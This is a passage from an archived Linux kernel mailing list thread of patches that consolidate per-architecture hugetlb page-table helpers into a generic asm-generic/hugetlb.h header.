-{
-	free_pgd_range(tlb, addr, end, floor, ceiling);
-}
-
 static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 				   pte_t *ptep, pte_t pte)
 {
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index 3da7cff52360..c697ca9dda18 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -40,4 +40,15 @@ static inline void huge_pte_clear(struct mm_struct *mm, unsigned long addr,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGETLB_FREE_PGD_RANGE
+static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
+		unsigned long addr, unsigned long end,
+		unsigned long floor, unsigned long ceiling)
+{
+	free_pgd_range(tlb, addr, end, floor, ceiling);
+}
+
+
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v6 03/11] hugetlb: Introduce generic version of set_huge_pte_at
Date: Mon,  6 Aug 2018 17:57:03 +0000
Lines: 185
Approved: news@gmane.org
Message-ID: <20180806175711.24438-4-alex@ghiti.fr>
References: <20180806175711.24438-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1533578330 7582 195.159.176.226 (6 Aug 2018 17:58:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 6 Aug 2018 17:58:50 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Aug 06 19:58:43 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fmjmE-0001oE-GW
	for glk-linux-kernel-4@m.gmane.org; Mon, 06 Aug 2018 19:58:43 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1733281AbeHFULD (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 6 Aug 2018 16:11:03 -0400
Original-Received: from relay3-d.mail.gandi.net ([217.70.183.195]:35071 "EHLO
        relay3-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1730195AbeHFULD (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 6 Aug 2018 16:11:03 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay3-d.mail.gandi.net (Postfix) with ESMTPSA id 1FEA860011;
        Mon,  6 Aug 2018 18:00:40 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180806175711.24438-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2840727 gmane.linux.kernel.mm:201308 gmane.linux.ports.arm.kernel:667938 gmane.linux.ports.ia64:29048 gmane.linux.ports.mips.general:65910 gmane.linux.ports.parisc:28877 gmane.linux.ports.ppc64.devel:160968 gmane.linux.ports.sh.devel:57335 gmane.linux.ports.sparc:28187 gmane.linux.kernel.cross-arch:45597
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2840727>

arm, ia64, mips, powerpc, sh, x86 architectures use the
same version of set_huge_pte_at, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Tested-by: Helge Deller <deller@gmx.de> # parisc
Acked-by: Catalin Marinas <catalin.marinas@arm.com> # arm64
Acked-by: Paul Burton <paul.burton@mips.com> # MIPS parts
Reviewed-by: Luiz Capitulino <lcapitulino@redhat.com>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb-3level.h | 6 ------
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 6 ------
 arch/mips/include/asm/hugetlb.h       | 6 ------
 arch/parisc/include/asm/hugetlb.h     | 1 +
 arch/powerpc/include/asm/hugetlb.h    | 6 ------
 arch/sh/include/asm/hugetlb.h         | 6 ------
 arch/sparc/include/asm/hugetlb.h      | 1 +
 arch/x86/include/asm/hugetlb.h        | 6 ------
 include/asm-generic/hugetlb.h         | 8 +++++++-
 10 files changed, 10 insertions(+), 37 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index d4014fbe5ea3..398fb06e8207 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -37,12 +37,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return retval;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 4af1a800a900..874661a1dff1 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -60,6 +60,7 @@ static inline void arch_clear_hugepage_flags(struct page *page)
 extern pte_t arch_make_huge_pte(pte_t entry, struct vm_area_struct *vma,
 				struct page *page, int writable);
 #define arch_make_huge_pte arch_make_huge_pte
+#define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 extern void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 			    pte_t *ptep, pte_t pte);
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index afe9fa4d969b..a235d6f60fb3 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -20,12 +20,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 		REGION_NUMBER((addr)+(len)-1) == RGN_HPAGE);
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 53764050243e..8ea439041d5d 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -36,12 +36,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 28c23b68d38d..77c8adbac7c3 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -4,6 +4,7 @@
 
 #include <asm/page.h>
 
+#define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index a7d5c739df9b..0794b53439d4 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -132,12 +132,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index f6a51b609409..bc552e37c1c9 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -25,12 +25,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 59d89b52ccb7..16b0c53ea6c9 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -12,6 +12,7 @@ struct pud_huge_patch_entry {
 extern struct pud_huge_patch_entry __pud_huge_patch, __pud_huge_patch_end;
 #endif
 
+#define __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 398da3b3414c..8db9a761964d 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -28,12 +28,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
-				   pte_t *ptep, pte_t pte)
-{
-	set_pte_at(mm, addr, ptep, pte);
-}
-
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index c697ca9dda18..ee010b756246 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -47,8 +47,14 @@ static inline void hugetlb_free_pgd_range(struct mmu_gather *tlb,
 {
 	free_pgd_range(tlb, addr, end, floor, ceiling);
 }
+#endif
 
-
+#ifndef __HAVE_ARCH_HUGE_SET_HUGE_PTE_AT
+static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
+		pte_t *ptep, pte_t pte)
+{
+	set_pte_at(mm, addr, ptep, pte);
+}
 #endif
 
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v6 04/11] hugetlb: Introduce generic version of huge_ptep_get_and_clear
Date: Mon,  6 Aug 2018 17:57:04 +0000
Lines: 172
Approved: news@gmane.org
Message-ID: <20180806175711.24438-5-alex@ghiti.fr>
References: <20180806175711.24438-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1533578398 11917 195.159.176.226 (6 Aug 2018 17:59:58 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 6 Aug 2018 17:59:58 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Aug 06 19:59:51 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fmjnI-0002vl-BB
	for glk-linux-kernel-4@m.gmane.org; Mon, 06 Aug 2018 19:59:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S2387402AbeHFUMJ (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 6 Aug 2018 16:12:09 -0400
Original-Received: from relay3-d.mail.gandi.net ([217.70.183.195]:59459 "EHLO
        relay3-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1730195AbeHFUMJ (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 6 Aug 2018 16:12:09 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay3-d.mail.gandi.net (Postfix) with ESMTPSA id 48DEE60008;
        Mon,  6 Aug 2018 18:01:48 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180806175711.24438-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2840728 gmane.linux.kernel.mm:201309 gmane.linux.ports.arm.kernel:667939 gmane.linux.ports.ia64:29049 gmane.linux.ports.mips.general:65911 gmane.linux.ports.parisc:28878 gmane.linux.ports.ppc64.devel:160969 gmane.linux.ports.sh.devel:57336 gmane.linux.ports.sparc:28188 gmane.linux.kernel.cross-arch:45598
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2840728>

arm, ia64, sh, x86 architectures use the
same version of huge_ptep_get_and_clear, so move this generic
implementation into asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Tested-by: Helge Deller <deller@gmx.de> # parisc
Acked-by: Catalin Marinas <catalin.marinas@arm.com> # arm64
Acked-by: Paul Burton <paul.burton@mips.com> # MIPS parts
Reviewed-by: Luiz Capitulino <lcapitulino@redhat.com>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb-3level.h | 6 ------
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 6 ------
 arch/mips/include/asm/hugetlb.h       | 1 +
 arch/parisc/include/asm/hugetlb.h     | 1 +
 arch/powerpc/include/asm/hugetlb.h    | 1 +
 arch/sh/include/asm/hugetlb.h         | 6 ------
 arch/sparc/include/asm/hugetlb.h      | 1 +
 arch/x86/include/asm/hugetlb.h        | 6 ------
 include/asm-generic/hugetlb.h         | 8 ++++++++
 10 files changed, 13 insertions(+), 24 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index 398fb06e8207..ad36e84b819a 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -49,12 +49,6 @@ static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 	ptep_set_wrprotect(mm, addr, ptep);
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 					     unsigned long addr, pte_t *ptep,
 					     pte_t pte, int dirty)
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 874661a1dff1..6ae0bcafe162 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
@@ -66,6 +66,7 @@ extern void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 extern int huge_ptep_set_access_flags(struct vm_area_struct *vma,
 				      unsigned long addr, pte_t *ptep,
 				      pte_t pte, int dirty);
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 extern pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 				     unsigned long addr, pte_t *ptep);
 extern void huge_ptep_set_wrprotect(struct mm_struct *mm,
diff --git a/arch/ia64/include/asm/hugetlb.h b/arch/ia64/include/asm/hugetlb.h
index a235d6f60fb3..6719c74da0de 100644
--- a/arch/ia64/include/asm/hugetlb.h
+++ b/arch/ia64/include/asm/hugetlb.h
@@ -20,12 +20,6 @@ static inline int is_hugepage_only_range(struct mm_struct *mm,
 		REGION_NUMBER((addr)+(len)-1) == RGN_HPAGE);
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/mips/include/asm/hugetlb.h b/arch/mips/include/asm/hugetlb.h
index 8ea439041d5d..0959cc5a41fa 100644
--- a/arch/mips/include/asm/hugetlb.h
+++ b/arch/mips/include/asm/hugetlb.h
@@ -36,6 +36,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/parisc/include/asm/hugetlb.h b/arch/parisc/include/asm/hugetlb.h
index 77c8adbac7c3..6e281e1bb336 100644
--- a/arch/parisc/include/asm/hugetlb.h
+++ b/arch/parisc/include/asm/hugetlb.h
@@ -8,6 +8,7 @@
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 pte_t huge_ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
 			      pte_t *ptep);
 
diff --git a/arch/powerpc/include/asm/hugetlb.h b/arch/powerpc/include/asm/hugetlb.h
index 0794b53439d4..970101cf9c82 100644
--- a/arch/powerpc/include/asm/hugetlb.h
+++ b/arch/powerpc/include/asm/hugetlb.h
@@ -132,6 +132,7 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
 					    unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sh/include/asm/hugetlb.h b/arch/sh/include/asm/hugetlb.h
index bc552e37c1c9..08ee6c00b5e9 100644
--- a/arch/sh/include/asm/hugetlb.h
+++ b/arch/sh/include/asm/hugetlb.h
@@ -25,12 +25,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/sparc/include/asm/hugetlb.h b/arch/sparc/include/asm/hugetlb.h
index 16b0c53ea6c9..944e3a4bfaff 100644
--- a/arch/sparc/include/asm/hugetlb.h
+++ b/arch/sparc/include/asm/hugetlb.h
@@ -16,6 +16,7 @@ extern struct pud_huge_patch_entry __pud_huge_patch, __pud_huge_patch_end;
 void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 		     pte_t *ptep, pte_t pte);
 
+#define __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
 pte_t huge_ptep_get_and_clear(struct mm_struct *mm, unsigned long addr,
 			      pte_t *ptep);
 
diff --git a/arch/x86/include/asm/hugetlb.h b/arch/x86/include/asm/hugetlb.h
index 8db9a761964d..e9e7fef867ad 100644
--- a/arch/x86/include/asm/hugetlb.h
+++ b/arch/x86/include/asm/hugetlb.h
@@ -28,12 +28,6 @@ static inline int prepare_hugepage_range(struct file *file,
 	return 0;
 }
 
-static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
-					    unsigned long addr, pte_t *ptep)
-{
-	return ptep_get_and_clear(mm, addr, ptep);
-}
-
 static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
 					 unsigned long addr, pte_t *ptep)
 {
diff --git a/include/asm-generic/hugetlb.h b/include/asm-generic/hugetlb.h
index ee010b756246..0f6f151780dd 100644
--- a/include/asm-generic/hugetlb.h
+++ b/include/asm-generic/hugetlb.h
@@ -57,4 +57,12 @@ static inline void set_huge_pte_at(struct mm_struct *mm, unsigned long addr,
 }
 #endif
 
+#ifndef __HAVE_ARCH_HUGE_PTEP_GET_AND_CLEAR
+static inline pte_t huge_ptep_get_and_clear(struct mm_struct *mm,
+		unsigned long addr, pte_t *ptep)
+{
+	return ptep_get_and_clear(mm, addr, ptep);
+}
+#endif
+
 #endif /* _ASM_GENERIC_HUGETLB_H */
-- 
2.16.2



From - Thu Nov 08 21:41:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Alexandre Ghiti <alex@ghiti.fr>
Newsgroups: gmane.linux.kernel,gmane.linux.kernel.mm,gmane.linux.ports.arm.kernel,gmane.linux.ports.ia64,gmane.linux.ports.mips.general,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.kernel.cross-arch
Subject: [PATCH v6 05/11] hugetlb: Introduce generic version of huge_ptep_clear_flush
Date: Mon,  6 Aug 2018 17:57:05 +0000
Lines: 162
Approved: news@gmane.org
Message-ID: <20180806175711.24438-6-alex@ghiti.fr>
References: <20180806175711.24438-1-alex@ghiti.fr>
NNTP-Posting-Host: blaine.gmane.org
X-Trace: blaine.gmane.org 1533578461 16156 195.159.176.226 (6 Aug 2018 18:01:01 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 6 Aug 2018 18:01:01 +0000 (UTC)
Cc: Alexandre Ghiti <alex@ghiti.fr>
To: linux-mm@kvack.org, mike.kravetz@oracle.com, linux@armlinux.org.uk,
        catalin.marinas@arm.com, will.deacon@arm.com, tony.luck@intel.com,
        fenghua.yu@intel.com, ralf@linux-mips.org, paul.burton@mips.com,
        jhogan@kernel.org, jejb@parisc-linux.org, deller@gmx.de,
        benh@kernel.crashing.org, paulus@samba.org, mpe@ellerman.id.au,
        ysato@users.sourceforge.jp, dalias@libc.org, davem@davemloft.net,
        tglx@linutronix.de, mingo@redhat.com, hpa@zytor.com,
        x86@kernel.org, arnd@arndb.de,
        linux-arm-kernel@lists.infradead.org, linux-kernel@vger.kernel.org,
        linux-ia64@vger.kernel.org, linux-mips@linux-mips.org,
        linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
        linux-sh@vger.kernel.org, sparclinux@vger.kernel.org,
        linux-arch@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Mon Aug 06 20:00:54 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fmjoL-00044b-Dt
	for glk-linux-kernel-4@m.gmane.org; Mon, 06 Aug 2018 20:00:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S2387425AbeHFUNP (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Mon, 6 Aug 2018 16:13:15 -0400
Original-Received: from relay1-d.mail.gandi.net ([217.70.183.193]:47487 "EHLO
        relay1-d.mail.gandi.net" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1733004AbeHFUNO (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Mon, 6 Aug 2018 16:13:14 -0400
X-Originating-IP: 79.86.19.127
Original-Received: from alex.numericable.fr (127.19.86.79.rev.sfr.net [79.86.19.127])
        (Authenticated sender: alex@ghiti.fr)
        by relay1-d.mail.gandi.net (Postfix) with ESMTPSA id 36EFA240007;
        Mon,  6 Aug 2018 18:02:54 +0000 (UTC)
X-Mailer: git-send-email 2.16.2
In-Reply-To: <20180806175711.24438-1-alex@ghiti.fr>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2840729 gmane.linux.kernel.mm:201310 gmane.linux.ports.arm.kernel:667940 gmane.linux.ports.ia64:29050 gmane.linux.ports.mips.general:65912 gmane.linux.ports.parisc:28879 gmane.linux.ports.ppc64.devel:160970 gmane.linux.ports.sh.devel:57337 gmane.linux.ports.sparc:28189 gmane.linux.kernel.cross-arch:45599
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2840729>

arm, x86 architectures use the same version of
huge_ptep_clear_flush, so move this generic implementation into
asm-generic/hugetlb.h.

Signed-off-by: Alexandre Ghiti <alex@ghiti.fr>
Tested-by: Helge Deller <deller@gmx.de> # parisc
Acked-by: Catalin Marinas <catalin.marinas@arm.com> # arm64
Acked-by: Paul Burton <paul.burton@mips.com> # MIPS parts
Reviewed-by: Luiz Capitulino <lcapitulino@redhat.com>
Reviewed-by: Mike Kravetz <mike.kravetz@oracle.com>
---
 arch/arm/include/asm/hugetlb-3level.h | 6 ------
 arch/arm64/include/asm/hugetlb.h      | 1 +
 arch/ia64/include/asm/hugetlb.h       | 1 +
 arch/mips/include/asm/hugetlb.h       | 1 +
 arch/parisc/include/asm/hugetlb.h     | 1 +
 arch/powerpc/include/asm/hugetlb.h    | 1 +
 arch/sh/include/asm/hugetlb.h         | 1 +
 arch/sparc/include/asm/hugetlb.h      | 1 +
 arch/x86/include/asm/hugetlb.h        | 6 ------
 include/asm-generic/hugetlb.h         | 8 ++++++++
 10 files changed, 15 insertions(+), 12 deletions(-)

diff --git a/arch/arm/include/asm/hugetlb-3level.h b/arch/arm/include/asm/hugetlb-3level.h
index ad36e84b819a..b897541520ef 100644
--- a/arch/arm/include/asm/hugetlb-3level.h
+++ b/arch/arm/include/asm/hugetlb-3level.h
@@ -37,12 +37,6 @@ static inline pte_t huge_ptep_get(pte_t *ptep)
 	return retval;
 }
 
-static inline void huge_ptep_clear_flush(struct vm_area_struct *vma,
-					 unsigned long addr, pte_t *ptep)
-{
-	ptep_clear_flush(vma, addr, ptep);
-}
-
 static inline void huge_ptep_set_wrprotect(struct mm_struct *mm,
 					   unsigned long addr, pte_t *ptep)
 {
diff --git a/arch/arm64/include/asm/hugetlb.h b/arch/arm64/include/asm/hugetlb.h
index 6ae0bcafe162..4c8dd488554d 100644
--- a/arch/arm64/include/asm/hugetlb.h
+++ b/arch/arm64/include/asm/hugetlb.h
